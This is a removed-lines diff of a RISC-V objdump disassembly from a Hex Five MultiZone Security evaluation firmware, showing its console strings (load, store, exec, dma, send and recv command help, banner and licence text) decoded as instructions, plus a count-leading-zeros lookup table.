-20405830:	6979                	lui	s2,0x1e
-20405832:	6c65                	lui	s8,0x19
-20405834:	2064                	fld	fs1,192(s0)
-20405836:	203a                	fld	ft0,392(sp)
-20405838:	2f6e                	fld	ft10,216(sp)
-2040583a:	2061                	jal	204058c2 <_exit+0x6ac>
-2040583c:	000a                	c.slli	zero,0x2
-2040583e:	0000                	unimp
-20405840:	6f6c                	flw	fa1,92(a4)
-20405842:	6461                	lui	s0,0x18
-20405844:	0000                	unimp
-20405846:	0000                	unimp
-20405848:	7830                	flw	fa2,112(s0)
-2040584a:	3025                	jal	20405072 <__umoddi3+0x19c>
-2040584c:	7838                	flw	fa4,112(s0)
-2040584e:	3a20                	fld	fs0,112(a2)
-20405850:	3020                	fld	fs0,96(s0)
-20405852:	2578                	fld	fa4,200(a0)
-20405854:	3230                	fld	fa2,96(a2)
-20405856:	2078                	fld	fa4,192(s0)
-20405858:	000a                	c.slli	zero,0x2
-2040585a:	0000                	unimp
-2040585c:	746e7953          	0x746e7953
-20405860:	7861                	lui	a6,0xffff8
-20405862:	203a                	fld	ft0,392(sp)
-20405864:	6f6c                	flw	fa1,92(a4)
-20405866:	6461                	lui	s0,0x18
-20405868:	6120                	flw	fs0,64(a0)
-2040586a:	6464                	flw	fs1,76(s0)
-2040586c:	6572                	flw	fa0,28(sp)
-2040586e:	0a207373          	csrrci	t1,0xa2,0
-20405872:	0000                	unimp
-20405874:	726f7473          	csrrci	s0,0x726,30
-20405878:	0065                	c.nop	25
-2040587a:	0000                	unimp
-2040587c:	746e7953          	0x746e7953
-20405880:	7861                	lui	a6,0xffff8
-20405882:	203a                	fld	ft0,392(sp)
-20405884:	726f7473          	csrrci	s0,0x726,30
-20405888:	2065                	jal	20405930 <_exit+0x71a>
-2040588a:	6461                	lui	s0,0x18
-2040588c:	7264                	flw	fs1,100(a2)
-2040588e:	7365                	lui	t1,0xffff9
-20405890:	61642073          	csrs	0x616,s0
-20405894:	6174                	flw	fa3,68(a0)
-20405896:	0a20                	addi	s0,sp,280
-20405898:	0000                	unimp
-2040589a:	0000                	unimp
-2040589c:	7865                	lui	a6,0xffff9
-2040589e:	6365                	lui	t1,0x19
-204058a0:	0000                	unimp
-204058a2:	0000                	unimp
-204058a4:	746e7953          	0x746e7953
-204058a8:	7861                	lui	a6,0xffff8
-204058aa:	203a                	fld	ft0,392(sp)
-204058ac:	7865                	lui	a6,0xffff9
-204058ae:	6365                	lui	t1,0x19
-204058b0:	6120                	flw	fs0,64(a0)
-204058b2:	6464                	flw	fs1,76(s0)
-204058b4:	6572                	flw	fa0,28(sp)
-204058b6:	0a207373          	csrrci	t1,0xa2,0
-204058ba:	0000                	unimp
-204058bc:	6d64                	flw	fs1,92(a0)
-204058be:	0061                	c.nop	24
-204058c0:	746e7953          	0x746e7953
-204058c4:	7861                	lui	a6,0xffff8
-204058c6:	203a                	fld	ft0,392(sp)
-204058c8:	6d64                	flw	fs1,92(a0)
-204058ca:	2061                	jal	20405952 <_exit+0x73c>
-204058cc:	72756f73          	csrrsi	t5,0x727,10
-204058d0:	64206563          	bltu	zero,sp,20405f1a <__sf_fake_stdin+0xe>
-204058d4:	7365                	lui	t1,0xffff9
-204058d6:	2074                	fld	fa3,192(s0)
-204058d8:	657a6973          	csrrsi	s2,0x657,20
-204058dc:	0a20                	addi	s0,sp,280
-204058de:	0000                	unimp
-204058e0:	646e6573          	csrrsi	a0,0x646,28
-204058e4:	0000                	unimp
-204058e6:	0000                	unimp
-204058e8:	7245                	lui	tp,0xffff1
-204058ea:	6f72                	flw	ft10,28(sp)
-204058ec:	3a72                	fld	fs4,312(sp)
-204058ee:	4920                	lw	s0,80(a0)
-204058f0:	626e                	flw	ft4,216(sp)
-204058f2:	6620786f          	jal	a6,2040cf54 <_data_lma+0x6f74>
-204058f6:	6c75                	lui	s8,0x1d
-204058f8:	2e6c                	fld	fa1,216(a2)
-204058fa:	000a                	c.slli	zero,0x2
-204058fc:	746e7953          	0x746e7953
-20405900:	7861                	lui	a6,0xffff8
-20405902:	203a                	fld	ft0,392(sp)
-20405904:	646e6573          	csrrsi	a0,0x646,28
-20405908:	7b20                	flw	fs0,112(a4)
-2040590a:	7c31                	lui	s8,0xfffec
-2040590c:	7c32                	flw	fs8,44(sp)
-2040590e:	7d347c33          	0x7d347c33
-20405912:	6d20                	flw	fs0,88(a0)
-20405914:	7365                	lui	t1,0xffff9
-20405916:	65676173          	csrrsi	sp,0x656,14
-2040591a:	0a20                	addi	s0,sp,280
-2040591c:	0000                	unimp
-2040591e:	0000                	unimp
-20405920:	6572                	flw	fa0,28(sp)
-20405922:	00007663          	bgeu	zero,zero,2040592e <_exit+0x718>
-20405926:	0000                	unimp
-20405928:	736d                	lui	t1,0xffffb
-2040592a:	203a2067          	0x203a2067
-2040592e:	2e25                	jal	20405c66 <_exit+0xa50>
-20405930:	3631                	jal	2040543c <_exit+0x226>
-20405932:	00000a73          	0xa73
-20405936:	0000                	unimp
-20405938:	7245                	lui	tp,0xffff1
-2040593a:	6f72                	flw	ft10,28(sp)
-2040593c:	3a72                	fld	fs4,312(sp)
-2040593e:	4920                	lw	s0,80(a0)
-20405940:	626e                	flw	ft4,216(sp)
-20405942:	6520786f          	jal	a6,2040cf94 <_data_lma+0x6fb4>
-20405946:	706d                	c.lui	zero,0xffffb
-20405948:	7974                	flw	fa3,116(a0)
-2040594a:	0a2e                	slli	s4,s4,0xb
-2040594c:	0000                	unimp
-2040594e:	0000                	unimp
-20405950:	746e7953          	0x746e7953
-20405954:	7861                	lui	a6,0xffff8
-20405956:	203a                	fld	ft0,392(sp)
-20405958:	6572                	flw	fa0,28(sp)
-2040595a:	7b207663          	bgeu	zero,s2,20406106 <_data_lma+0x126>
-2040595e:	7c31                	lui	s8,0xfffec
-20405960:	7c32                	flw	fs8,44(sp)
-20405962:	7d347c33          	0x7d347c33
-20405966:	0a20                	addi	s0,sp,280
-20405968:	0000                	unimp
-2040596a:	0000                	unimp
-2040596c:	6979                	lui	s2,0x1e
-2040596e:	6c65                	lui	s8,0x19
-20405970:	0064                	addi	s1,sp,12
-20405972:	0000                	unimp
-20405974:	6974                	flw	fa3,84(a0)
-20405976:	656d                	lui	a0,0x1b
-20405978:	0072                	c.slli	zero,0x1c
-2040597a:	0000                	unimp
-2040597c:	6974                	flw	fa3,84(a0)
-2040597e:	656d                	lui	a0,0x1b
-20405980:	2072                	fld	ft0,280(sp)
-20405982:	20746573          	csrrsi	a0,0x207,8
-20405986:	3054                	fld	fa3,160(s0)
-20405988:	253d                	jal	20405fb6 <__sf_fake_stdout+0x8a>
-2040598a:	756c                	flw	fa1,108(a0)
-2040598c:	202c                	fld	fa1,64(s0)
-2040598e:	3154                	fld	fa3,160(a0)
-20405990:	253d                	jal	20405fbe <__sf_fake_stdout+0x92>
-20405992:	756c                	flw	fa1,108(a0)
-20405994:	0a20                	addi	s0,sp,280
-20405996:	0000                	unimp
-20405998:	746e7953          	0x746e7953
-2040599c:	7861                	lui	a6,0xffff8
-2040599e:	203a                	fld	ft0,392(sp)
-204059a0:	6974                	flw	fa3,84(a0)
-204059a2:	656d                	lui	a0,0x1b
-204059a4:	2072                	fld	ft0,280(sp)
-204059a6:	736d                	lui	t1,0xffffb
-204059a8:	0a20                	addi	s0,sp,280
-204059aa:	0000                	unimp
-204059ac:	74617473          	csrrci	s0,0x746,2
-204059b0:	00000073          	ecall
-204059b4:	6572                	flw	fa0,28(sp)
-204059b6:	72617473          	csrrci	s0,0x726,2
-204059ba:	0074                	addi	a3,sp,12
-204059bc:	6d70                	flw	fa2,92(a0)
-204059be:	0070                	addi	a2,sp,12
-204059c0:	6365                	lui	t1,0x19
-204059c2:	6c61                	lui	s8,0x18
-204059c4:	006c                	addi	a1,sp,12
-204059c6:	0000                	unimp
-204059c8:	72727363          	bgeu	tp,t2,204060ee <_data_lma+0x10e>
-204059cc:	0000                	unimp
-204059ce:	0000                	unimp
-204059d0:	7830                	flw	fa2,112(s0)
-204059d2:	3025                	jal	204051fa <__umoddi3+0x324>
-204059d4:	7838                	flw	fa4,112(s0)
-204059d6:	2820                	fld	fs0,80(s0)
-204059d8:	6425                	lui	s0,0x9
-204059da:	6320                	flw	fs0,64(a4)
-204059dc:	6379                	lui	t1,0x1e
-204059de:	656c                	flw	fa1,76(a0)
-204059e0:	0a202973          	csrr	s2,0xa2
-204059e4:	0000                	unimp
-204059e6:	0000                	unimp
-204059e8:	6d6d6f43          	0x6d6d6f43
-204059ec:	6e61                	lui	t3,0x18
-204059ee:	7364                	flw	fs1,100(a4)
-204059f0:	203a                	fld	ft0,392(sp)
-204059f2:	6979                	lui	s2,0x1e
-204059f4:	6c65                	lui	s8,0x19
-204059f6:	2064                	fld	fs1,192(s0)
-204059f8:	646e6573          	csrrsi	a0,0x646,28
-204059fc:	7220                	flw	fs0,96(a2)
-204059fe:	6365                	lui	t1,0x19
-20405a00:	2076                	fld	ft0,344(sp)
-20405a02:	6d70                	flw	fa2,92(a0)
-20405a04:	2070                	fld	fa2,192(s0)
-20405a06:	6f6c                	flw	fa1,92(a4)
-20405a08:	6461                	lui	s0,0x18
-20405a0a:	7320                	flw	fs0,96(a4)
-20405a0c:	6f74                	flw	fa3,92(a4)
-20405a0e:	6572                	flw	fa0,28(sp)
-20405a10:	6520                	flw	fs0,72(a0)
-20405a12:	6578                	flw	fa4,76(a0)
-20405a14:	6d642063          	0x6d642063
-20405a18:	2061                	jal	20405aa0 <_exit+0x88a>
-20405a1a:	74617473          	csrrci	s0,0x746,2
-20405a1e:	69742073          	csrs	0x697,s0
-20405a22:	656d                	lui	a0,0x1b
-20405a24:	2072                	fld	ft0,280(sp)
-20405a26:	6572                	flw	fa0,28(sp)
-20405a28:	72617473          	csrrci	s0,0x726,2
-20405a2c:	2074                	fld	fa3,192(s0)
-20405a2e:	000a                	c.slli	zero,0x2
-20405a30:	0000371b          	0x371b
-20405a34:	004b5b1b          	0x4b5b1b
-20405a38:	0000381b          	0x381b
-20405a3c:	00435b1b          	0x435b1b
-20405a40:	00445b1b          	0x445b1b
-20405a44:	4b325b1b          	0x4b325b1b
-20405a48:	0000                	unimp
-20405a4a:	0000                	unimp
-20405a4c:	5a0d                	li	s4,-29
-20405a4e:	2032                	fld	ft0,264(sp)
-20405a50:	203e                	fld	ft0,456(sp)
-20405a52:	0000                	unimp
-20405a54:	4155                	li	sp,21
-20405a56:	5452                	lw	s0,52(sp)
-20405a58:	0000                	unimp
-20405a5a:	0000                	unimp
-20405a5c:	4a325b1b          	0x4a325b1b
-20405a60:	00485b1b          	0x485b1b
-20405a64:	3d3d                	jal	204058a2 <_exit+0x68c>
-20405a66:	3d3d                	jal	204058a4 <_exit+0x68e>
-20405a68:	3d3d                	jal	204058a6 <_exit+0x690>
-20405a6a:	3d3d                	jal	204058a8 <_exit+0x692>
-20405a6c:	3d3d                	jal	204058aa <_exit+0x694>
-20405a6e:	3d3d                	jal	204058ac <_exit+0x696>
-20405a70:	3d3d                	jal	204058ae <_exit+0x698>
-20405a72:	3d3d                	jal	204058b0 <_exit+0x69a>
-20405a74:	3d3d                	jal	204058b2 <_exit+0x69c>
-20405a76:	3d3d                	jal	204058b4 <_exit+0x69e>
-20405a78:	3d3d                	jal	204058b6 <_exit+0x6a0>
-20405a7a:	3d3d                	jal	204058b8 <_exit+0x6a2>
-20405a7c:	3d3d                	jal	204058ba <_exit+0x6a4>
-20405a7e:	3d3d                	jal	204058bc <_exit+0x6a6>
-20405a80:	3d3d                	jal	204058be <_exit+0x6a8>
-20405a82:	3d3d                	jal	204058c0 <_exit+0x6aa>
-20405a84:	3d3d                	jal	204058c2 <_exit+0x6ac>
-20405a86:	3d3d                	jal	204058c4 <_exit+0x6ae>
-20405a88:	3d3d                	jal	204058c6 <_exit+0x6b0>
-20405a8a:	3d3d                	jal	204058c8 <_exit+0x6b2>
-20405a8c:	3d3d                	jal	204058ca <_exit+0x6b4>
-20405a8e:	3d3d                	jal	204058cc <_exit+0x6b6>
-20405a90:	3d3d                	jal	204058ce <_exit+0x6b8>
-20405a92:	3d3d                	jal	204058d0 <_exit+0x6ba>
-20405a94:	3d3d                	jal	204058d2 <_exit+0x6bc>
-20405a96:	3d3d                	jal	204058d4 <_exit+0x6be>
-20405a98:	3d3d                	jal	204058d6 <_exit+0x6c0>
-20405a9a:	3d3d                	jal	204058d8 <_exit+0x6c2>
-20405a9c:	3d3d                	jal	204058da <_exit+0x6c4>
-20405a9e:	3d3d                	jal	204058dc <_exit+0x6c6>
-20405aa0:	3d3d                	jal	204058de <_exit+0x6c8>
-20405aa2:	3d3d                	jal	204058e0 <_exit+0x6ca>
-20405aa4:	3d3d                	jal	204058e2 <_exit+0x6cc>
-20405aa6:	3d3d                	jal	204058e4 <_exit+0x6ce>
-20405aa8:	0a3d                	addi	s4,s4,15
-20405aaa:	0000                	unimp
-20405aac:	2020                	fld	fs0,64(s0)
-20405aae:	2020                	fld	fs0,64(s0)
-20405ab0:	2020                	fld	fs0,64(s0)
-20405ab2:	2009                	jal	20405ab4 <_exit+0x89e>
-20405ab4:	2020                	fld	fs0,64(s0)
-20405ab6:	2020                	fld	fs0,64(s0)
-20405ab8:	2020                	fld	fs0,64(s0)
-20405aba:	2020                	fld	fs0,64(s0)
-20405abc:	2020                	fld	fs0,64(s0)
-20405abe:	2020                	fld	fs0,64(s0)
-20405ac0:	6548                	flw	fa0,12(a0)
-20405ac2:	2078                	fld	fa4,192(s0)
-20405ac4:	6946                	flw	fs2,80(sp)
-20405ac6:	6576                	flw	fa0,92(sp)
-20405ac8:	4d20                	lw	s0,88(a0)
-20405aca:	6c75                	lui	s8,0x1d
-20405acc:	6974                	flw	fa3,84(a0)
-20405ace:	6f5a                	flw	ft10,148(sp)
-20405ad0:	656e                	flw	fa0,216(sp)
-20405ad2:	aec2                	fsd	fa6,344(sp)
-20405ad4:	5320                	lw	s0,96(a4)
-20405ad6:	6365                	lui	t1,0x19
-20405ad8:	7275                	lui	tp,0xffffd
-20405ada:	7469                	lui	s0,0xffffa
-20405adc:	2079                	jal	20405b6a <_exit+0x954>
-20405ade:	2020                	fld	fs0,64(s0)
-20405ae0:	2020                	fld	fs0,64(s0)
-20405ae2:	2020                	fld	fs0,64(s0)
-20405ae4:	2020                	fld	fs0,64(s0)
-20405ae6:	2020                	fld	fs0,64(s0)
-20405ae8:	2020                	fld	fs0,64(s0)
-20405aea:	2020                	fld	fs0,64(s0)
-20405aec:	2020                	fld	fs0,64(s0)
-20405aee:	2020                	fld	fs0,64(s0)
-20405af0:	0a20                	addi	s0,sp,280
-20405af2:	0000                	unimp
-20405af4:	2020                	fld	fs0,64(s0)
-20405af6:	2020                	fld	fs0,64(s0)
-20405af8:	79706f43          	fmadd.s	ft10,ft0,fs7,fa5,unknown
-20405afc:	6972                	flw	fs2,28(sp)
-20405afe:	c2746867          	0xc2746867
-20405b02:	20a9                	jal	20405b4c <_exit+0x936>
-20405b04:	3032                	fld	ft0,296(sp)
-20405b06:	3032                	fld	ft0,296(sp)
-20405b08:	4820                	lw	s0,80(s0)
-20405b0a:	7865                	lui	a6,0xffff9
-20405b0c:	4620                	lw	s0,72(a2)
-20405b0e:	7669                	lui	a2,0xffffa
-20405b10:	2065                	jal	20405bb8 <_exit+0x9a2>
-20405b12:	75636553          	0x75636553
-20405b16:	6972                	flw	fs2,28(sp)
-20405b18:	7974                	flw	fa3,116(a0)
-20405b1a:	202c                	fld	fa1,64(s0)
-20405b1c:	6e49                	lui	t3,0x12
-20405b1e:	2d202e63          	0x2d202e63
-20405b22:	4120                	lw	s0,64(a0)
-20405b24:	6c6c                	flw	fa1,92(s0)
-20405b26:	5220                	lw	s0,96(a2)
-20405b28:	6769                	lui	a4,0x1a
-20405b2a:	7468                	flw	fa0,108(s0)
-20405b2c:	65522073          	csrs	0x655,tp
-20405b30:	76726573          	csrrsi	a0,0x767,4
-20405b34:	6465                	lui	s0,0x19
-20405b36:	2020                	fld	fs0,64(s0)
-20405b38:	2020                	fld	fs0,64(s0)
-20405b3a:	000a                	c.slli	zero,0x2
-20405b3c:	6854                	flw	fa3,20(s0)
-20405b3e:	7369                	lui	t1,0xffffa
-20405b40:	7620                	flw	fs0,104(a2)
-20405b42:	7265                	lui	tp,0xffff9
-20405b44:	6e6f6973          	csrrsi	s2,0x6e6,30
-20405b48:	6f20                	flw	fs0,88(a4)
-20405b4a:	2066                	fld	ft0,88(sp)
-20405b4c:	754d                	lui	a0,0xffff3
-20405b4e:	746c                	flw	fa1,108(s0)
-20405b50:	5a69                	li	s4,-6
-20405b52:	c2656e6f          	jal	t3,2035bf78 <__stack_size+0x2035b778>
-20405b56:	20ae                	fld	ft1,200(sp)
-20405b58:	75636553          	0x75636553
-20405b5c:	6972                	flw	fs2,28(sp)
-20405b5e:	7974                	flw	fa3,116(a0)
-20405b60:	6920                	flw	fs0,80(a0)
-20405b62:	656d2073          	csrs	0x656,s10
-20405b66:	6e61                	lui	t3,0x18
-20405b68:	2074                	fld	fa3,192(s0)
-20405b6a:	6f66                	flw	ft10,88(sp)
-20405b6c:	2072                	fld	ft0,280(sp)
-20405b6e:	7665                	lui	a2,0xffff9
-20405b70:	6c61                	lui	s8,0x18
-20405b72:	6175                	addi	sp,sp,368
-20405b74:	6974                	flw	fa3,84(a0)
-20405b76:	70206e6f          	jal	t3,2040c278 <_data_lma+0x6298>
-20405b7a:	7275                	lui	tp,0xffffd
-20405b7c:	6f70                	flw	fa2,92(a4)
-20405b7e:	20736573          	csrrsi	a0,0x207,6
-20405b82:	000a                	c.slli	zero,0x2
-20405b84:	796c6e6f          	jal	t3,204cc31a <_data_lma+0xc633a>
-20405b88:	202e                	fld	ft0,200(sp)
-20405b8a:	7341                	lui	t1,0xffff0
-20405b8c:	7320                	flw	fs0,96(a4)
-20405b8e:	6375                	lui	t1,0x1d
-20405b90:	2c68                	fld	fa0,216(s0)
-20405b92:	7520                	flw	fs0,104(a0)
-20405b94:	6f206573          	csrrsi	a0,0x6f2,0
-20405b98:	2066                	fld	ft0,88(sp)
-20405b9a:	6874                	flw	fa3,84(s0)
-20405b9c:	7369                	lui	t1,0xffffa
-20405b9e:	7320                	flw	fs0,96(a4)
-20405ba0:	7774666f          	jal	a2,2044cb16 <_data_lma+0x46b36>
-20405ba4:	7261                	lui	tp,0xffff8
-20405ba6:	2065                	jal	20405c4e <_exit+0xa38>
-20405ba8:	7369                	lui	t1,0xffffa
-20405baa:	6720                	flw	fs0,72(a4)
-20405bac:	7265766f          	jal	a2,2045d2d2 <_data_lma+0x572f2>
-20405bb0:	656e                	flw	fa0,216(sp)
-20405bb2:	2064                	fld	fs1,192(s0)
-20405bb4:	7962                	flw	fs2,56(sp)
-20405bb6:	7420                	flw	fs0,104(s0)
-20405bb8:	6568                	flw	fa0,76(a0)
-20405bba:	4520                	lw	s0,72(a0)
-20405bbc:	6176                	flw	ft2,92(sp)
-20405bbe:	756c                	flw	fa1,108(a0)
-20405bc0:	7461                	lui	s0,0xffff8
-20405bc2:	6f69                	lui	t5,0x1a
-20405bc4:	206e                	fld	ft0,216(sp)
-20405bc6:	2020                	fld	fs0,64(s0)
-20405bc8:	0a20                	addi	s0,sp,280
-20405bca:	0000                	unimp
-20405bcc:	694c                	flw	fa1,20(a0)
-20405bce:	736e6563          	bltu	t3,s6,204062f8 <_data_lma+0x318>
-20405bd2:	2e65                	jal	20405f8a <__sf_fake_stdout+0x5e>
-20405bd4:	5420                	lw	s0,104(s0)
-20405bd6:	6568                	flw	fa0,76(a0)
-20405bd8:	6572                	flw	fa0,28(sp)
-20405bda:	6d20                	flw	fs0,88(a0)
-20405bdc:	7961                	lui	s2,0xffff8
-20405bde:	6220                	flw	fs0,64(a2)
-20405be0:	2065                	jal	20405c88 <_exit+0xa72>
-20405be2:	6568746f          	jal	s0,2048d238 <_data_lma+0x87258>
-20405be6:	2072                	fld	ft0,280(sp)
-20405be8:	7566                	flw	fa0,120(sp)
-20405bea:	636e                	flw	ft6,216(sp)
-20405bec:	6974                	flw	fa3,84(a0)
-20405bee:	6c616e6f          	jal	t3,2041c2b4 <_data_lma+0x162d4>
-20405bf2:	6c20                	flw	fs0,88(s0)
-20405bf4:	6d69                	lui	s10,0x1a
-20405bf6:	7469                	lui	s0,0xffffa
-20405bf8:	7461                	lui	s0,0xffff8
-20405bfa:	6f69                	lui	t5,0x1a
-20405bfc:	736e                	flw	ft6,248(sp)
-20405bfe:	6120                	flw	fs0,64(a0)
-20405c00:	65642073          	csrs	0x656,s0
-20405c04:	69726373          	csrrsi	t1,0x697,4
-20405c08:	6562                	flw	fa0,24(sp)
-20405c0a:	2064                	fld	fs1,192(s0)
-20405c0c:	6e69                	lui	t3,0x1a
-20405c0e:	2020                	fld	fs0,64(s0)
-20405c10:	0a20                	addi	s0,sp,280
-20405c12:	0000                	unimp
-20405c14:	6874                	flw	fa3,84(s0)
-20405c16:	2065                	jal	20405cbe <_exit+0xaa8>
-20405c18:	7665                	lui	a2,0xffff9
-20405c1a:	6c61                	lui	s8,0x18
-20405c1c:	6175                	addi	sp,sp,368
-20405c1e:	6974                	flw	fa3,84(a0)
-20405c20:	53206e6f          	jal	t3,2040c152 <_data_lma+0x6172>
-20405c24:	4b44                	lw	s1,20(a4)
-20405c26:	6420                	flw	fs0,72(s0)
-20405c28:	6d75636f          	jal	t1,2045cafe <_data_lma+0x56b1e>
-20405c2c:	6e65                	lui	t3,0x19
-20405c2e:	6174                	flw	fa3,68(a0)
-20405c30:	6974                	flw	fa3,84(a0)
-20405c32:	202e6e6f          	jal	t3,204ebe34 <_data_lma+0xe5e54>
-20405c36:	6854                	flw	fa3,20(s0)
-20405c38:	2065                	jal	20405ce0 <_exit+0xaca>
-20405c3a:	6d6d6f63          	bltu	s10,s6,20406318 <_data_lma+0x338>
-20405c3e:	7265                	lui	tp,0xffff9
-20405c40:	6c616963          	bltu	sp,t1,20406312 <_data_lma+0x332>
-20405c44:	7620                	flw	fs0,104(a2)
-20405c46:	7265                	lui	tp,0xffff9
-20405c48:	6e6f6973          	csrrsi	s2,0x6e6,30
-20405c4c:	6f20                	flw	fs0,88(a4)
-20405c4e:	2066                	fld	ft0,88(sp)
-20405c50:	6874                	flw	fa3,84(s0)
-20405c52:	2065                	jal	20405cfa <__clz_tab+0x12>
-20405c54:	2020                	fld	fs0,64(s0)
-20405c56:	2020                	fld	fs0,64(s0)
-20405c58:	0a20                	addi	s0,sp,280
-20405c5a:	0000                	unimp
-20405c5c:	74666f73          	csrrsi	t5,0x746,12
-20405c60:	65726177          	0x65726177
-20405c64:	6420                	flw	fs0,72(s0)
-20405c66:	2073656f          	jal	a0,2043c66c <_data_lma+0x3668c>
-20405c6a:	6f6e                	flw	ft10,216(sp)
-20405c6c:	2074                	fld	fa3,192(s0)
-20405c6e:	6168                	flw	fa0,68(a0)
-20405c70:	6576                	flw	fa0,92(sp)
-20405c72:	7420                	flw	fs0,104(s0)
-20405c74:	6568                	flw	fa0,76(a0)
-20405c76:	72206573          	csrrsi	a0,0x722,0
-20405c7a:	7365                	lui	t1,0xffff9
-20405c7c:	7274                	flw	fa3,100(a2)
-20405c7e:	6369                	lui	t1,0x1a
-20405c80:	6974                	flw	fa3,84(a0)
-20405c82:	2e736e6f          	jal	t3,2043c768 <_data_lma+0x36788>
-20405c86:	2020                	fld	fs0,64(s0)
-20405c88:	2020                	fld	fs0,64(s0)
-20405c8a:	2020                	fld	fs0,64(s0)
-20405c8c:	2020                	fld	fs0,64(s0)
-20405c8e:	2020                	fld	fs0,64(s0)
-20405c90:	2020                	fld	fs0,64(s0)
-20405c92:	2020                	fld	fs0,64(s0)
-20405c94:	2020                	fld	fs0,64(s0)
-20405c96:	2020                	fld	fs0,64(s0)
-20405c98:	2020                	fld	fs0,64(s0)
-20405c9a:	2020                	fld	fs0,64(s0)
-20405c9c:	2020                	fld	fs0,64(s0)
-20405c9e:	2020                	fld	fs0,64(s0)
-20405ca0:	0a20                	addi	s0,sp,280
-20405ca2:	0000                	unimp
-20405ca4:	0d0a                	slli	s10,s10,0x2
-20405ca6:	325a                	fld	ft4,432(sp)
-20405ca8:	3e20                	fld	fs0,120(a2)
-20405caa:	0020                	addi	s0,sp,8
-20405cac:	69466953          	0x69466953
-20405cb0:	6576                	flw	fa0,92(sp)
-20405cb2:	202c                	fld	fa1,64(s0)
-20405cb4:	6e49                	lui	t3,0x12
-20405cb6:	00002e63          	0x2e63
-20405cba:	0000                	unimp
-20405cbc:	6548                	flw	fa0,12(a0)
-20405cbe:	2078                	fld	fa4,192(s0)
-20405cc0:	6946                	flw	fs2,80(sp)
-20405cc2:	6576                	flw	fa0,92(sp)
-20405cc4:	202c                	fld	fa1,64(s0)
-20405cc6:	6e49                	lui	t3,0x12
-20405cc8:	00002e63          	0x2e63
-20405ccc:	0000                	unimp
-20405cce:	0000                	unimp
-20405cd0:	3358                	fld	fa4,160(a4)
-20405cd2:	3030                	fld	fa2,96(s0)
-20405cd4:	0000                	unimp
-20405cd6:	0000                	unimp
-20405cd8:	3345                	jal	20405a78 <_exit+0x862>
-20405cda:	0031                	c.nop	12
-20405cdc:	0000                	unimp
-20405cde:	0000                	unimp
-20405ce0:	3245                	jal	20405680 <_exit+0x46a>
-20405ce2:	0031                	c.nop	12
-20405ce4:	0000                	unimp
-	...
-
-20405ce8 <__clz_tab>:
-20405ce8:	0100                	addi	s0,sp,128
-20405cea:	0202                	c.slli64	tp
-20405cec:	03030303          	lb	t1,48(t1) # 1a030 <__stack_size+0x19830>
-20405cf0:	0404                	addi	s1,sp,512
-20405cf2:	0404                	addi	s1,sp,512
-20405cf4:	0404                	addi	s1,sp,512
-20405cf6:	0404                	addi	s1,sp,512
-20405cf8:	0505                	addi	a0,a0,1
-20405cfa:	0505                	addi	a0,a0,1
-20405cfc:	0505                	addi	a0,a0,1
-20405cfe:	0505                	addi	a0,a0,1
-20405d00:	0505                	addi	a0,a0,1
-20405d02:	0505                	addi	a0,a0,1
-20405d04:	0505                	addi	a0,a0,1
-20405d06:	0505                	addi	a0,a0,1
-20405d08:	0606                	slli	a2,a2,0x1
-20405d0a:	0606                	slli	a2,a2,0x1
-20405d0c:	0606                	slli	a2,a2,0x1
-20405d0e:	0606                	slli	a2,a2,0x1
-20405d10:	0606                	slli	a2,a2,0x1
-20405d12:	0606                	slli	a2,a2,0x1
-20405d14:	0606                	slli	a2,a2,0x1
-20405d16:	0606                	slli	a2,a2,0x1
-20405d18:	0606                	slli	a2,a2,0x1
-20405d1a:	0606                	slli	a2,a2,0x1
-20405d1c:	0606                	slli	a2,a2,0x1
-20405d1e:	0606                	slli	a2,a2,0x1
-20405d20:	0606                	slli	a2,a2,0x1
-20405d22:	0606                	slli	a2,a2,0x1
-20405d24:	0606                	slli	a2,a2,0x1
-20405d26:	0606                	slli	a2,a2,0x1
-20405d28:	07070707          	0x7070707
-20405d2c:	07070707          	0x7070707
-20405d30:	07070707          	0x7070707
-20405d34:	07070707          	0x7070707
-20405d38:	07070707          	0x7070707
-20405d3c:	07070707          	0x7070707
-20405d40:	07070707          	0x7070707
-20405d44:	07070707          	0x7070707
-20405d48:	07070707          	0x7070707
-20405d4c:	07070707          	0x7070707
-20405d50:	07070707          	0x7070707
-20405d54:	07070707          	0x7070707
-20405d58:	07070707          	0x7070707
-20405d5c:	07070707          	0x7070707
-20405d60:	07070707          	0x7070707
-20405d64:	07070707          	0x7070707
-20405d68:	0808                	addi	a0,sp,16
-20405d6a:	0808                	addi	a0,sp,16
-20405d6c:	0808                	addi	a0,sp,16
-20405d6e:	0808                	addi	a0,sp,16
-20405d70:	0808                	addi	a0,sp,16
-20405d72:	0808                	addi	a0,sp,16
-20405d74:	0808                	addi	a0,sp,16
-20405d76:	0808                	addi	a0,sp,16
-20405d78:	0808                	addi	a0,sp,16
-20405d7a:	0808                	addi	a0,sp,16
-20405d7c:	0808                	addi	a0,sp,16
-20405d7e:	0808                	addi	a0,sp,16
-20405d80:	0808                	addi	a0,sp,16
-20405d82:	0808                	addi	a0,sp,16
-20405d84:	0808                	addi	a0,sp,16
-20405d86:	0808                	addi	a0,sp,16
-20405d88:	0808                	addi	a0,sp,16
-20405d8a:	0808                	addi	a0,sp,16
-20405d8c:	0808                	addi	a0,sp,16
-20405d8e:	0808                	addi	a0,sp,16
-20405d90:	0808                	addi	a0,sp,16
-20405d92:	0808                	addi	a0,sp,16
-20405d94:	0808                	addi	a0,sp,16
-20405d96:	0808                	addi	a0,sp,16
-20405d98:	0808                	addi	a0,sp,16
-20405d9a:	0808                	addi	a0,sp,16
-20405d9c:	0808                	addi	a0,sp,16
-20405d9e:	0808                	addi	a0,sp,16
-20405da0:	0808                	addi	a0,sp,16
-20405da2:	0808                	addi	a0,sp,16
-20405da4:	0808                	addi	a0,sp,16
-20405da6:	0808                	addi	a0,sp,16
-20405da8:	0808                	addi	a0,sp,16
-20405daa:	0808                	addi	a0,sp,16
-20405dac:	0808                	addi	a0,sp,16
-20405dae:	0808                	addi	a0,sp,16
-20405db0:	0808                	addi	a0,sp,16
-20405db2:	0808                	addi	a0,sp,16
-20405db4:	0808                	addi	a0,sp,16
-20405db6:	0808                	addi	a0,sp,16
-20405db8:	0808                	addi	a0,sp,16
-20405dba:	0808                	addi	a0,sp,16
-20405dbc:	0808                	addi	a0,sp,16
-20405dbe:	0808                	addi	a0,sp,16
-20405dc0:	0808                	addi	a0,sp,16
-20405dc2:	0808                	addi	a0,sp,16
-20405dc4:	0808                	addi	a0,sp,16
-20405dc6:	0808                	addi	a0,sp,16
-20405dc8:	0808                	addi	a0,sp,16
-20405dca:	0808                	addi	a0,sp,16
-20405dcc:	0808                	addi	a0,sp,16
-20405dce:	0808                	addi	a0,sp,16
